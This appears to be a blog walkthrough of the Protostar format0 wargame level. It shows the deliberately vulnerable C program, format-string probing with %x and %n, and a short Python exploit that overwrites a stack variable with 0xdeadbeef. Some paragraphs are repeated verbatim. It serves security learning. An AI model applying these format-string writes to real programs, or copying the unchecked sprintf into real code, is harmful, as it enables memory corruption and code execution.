Hello Guyz,
Welcome again to my blog. Today, I am going to share with you my walkthrough experience of Exploit-Exercise Protostar Format0 Level.
In this level, Our goal is to overwrite Return pointer Address And So, That In Future We can use This Vulnerability To Execute Our Injected Shellcodes. Actually, We just need to prove that with this vulnerability we can overwrite the EIP register but here comes another difficulty of this level. As Already mentioned in the hint
We have to use Format String Vulnerability To Overwrite our Instruction Pointer Register.
After Searching, About this vulnerability, I found below-mentioned articles very useful. So, Use below mention links as the reference of format string vulnerability.
1. OWASP
2. StackOverflow
3. PDF
Welcome again to my blog. Today, I am going to share with you my walkthrough experience of Exploit-Exercise Protostar Format0 Level.
In this level, Our goal is to overwrite Return pointer Address And So, That In Future We can use This Vulnerability To Execute Our Injected Shellcodes. Actually, We just need to prove that with this vulnerability we can overwrite the EIP register but here comes another difficulty of this level. As Already mentioned in the hint
We have to use Format String Vulnerability To Overwrite our Instruction Pointer Register.
After Searching, About this vulnerability, I found below-mentioned articles very useful. So, Use below mention links as the reference of format string vulnerability.
1. OWASP
2. StackOverflow
3. PDF
Before Starting Our Walkthrough Let's Take a Look At Hints And Details.
Note: I want to highlight Few Points.
- I'm not the creator of protostar war game. I am just a player.
- Here, I am Just providing you hints and reference so, that if you feel stuck anywhere. Take a Look Here.
- Understand all previous levels before starting this one.
- Do some research on Assembly, C/C++ and Gdb
Source Code
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void vuln(char *string)
{
volatile int target;
char buffer[64];
target = 0;
sprintf(buffer, string);
if(target == 0xdeadbeef) {
printf("you have hit the target correctly :)\n");
}
}
int main(int argc, char **argv)
{
vuln(argv[1]);
}
Hint
This level introduces format strings, and how attacker supplied format strings can modify the execution flow of programs.
Hints
This level should be done in less than 10 bytes of input.
“Exploiting format string vulnerabilities”
This level is at /opt/protostar/bin/format0
Implementation
After Some Google and Reading Some Paper. I found that
printf family functions are really very prone to format string vulnerability. it can be very dangerous for a program if a programmer doesn't use these function carefully.
printf family functions are really very prone to format string vulnerability. it can be very dangerous for a program if a programmer doesn't use these function carefully.
Step 1:
--------------------------------------------
| AAAAAA %x%x%x%x%x%x%x%x%x%x%x%x |
--------------------------------------------
%x will print arguments from the top of stack
check exact padding between the starting of our string Onto the top of stack through printf vulnerability %x
Step 2:
%5$x : Here, $ sign helps in selecting exact index of string. so, we can use this advantage.
%5$n : n, expression can write number of bytes onto pointing address.
--------------------------------------------
| Address1, Address2 %number_of_bytesx%1$n %number_of_bytesx%2$n |
--------------------------------------------
Exploit
#!/usr/bin/python
# format0
buff = "a"*int(0x4c-0xc)
target = "\xef\xbe\xad\xde"
print buff+target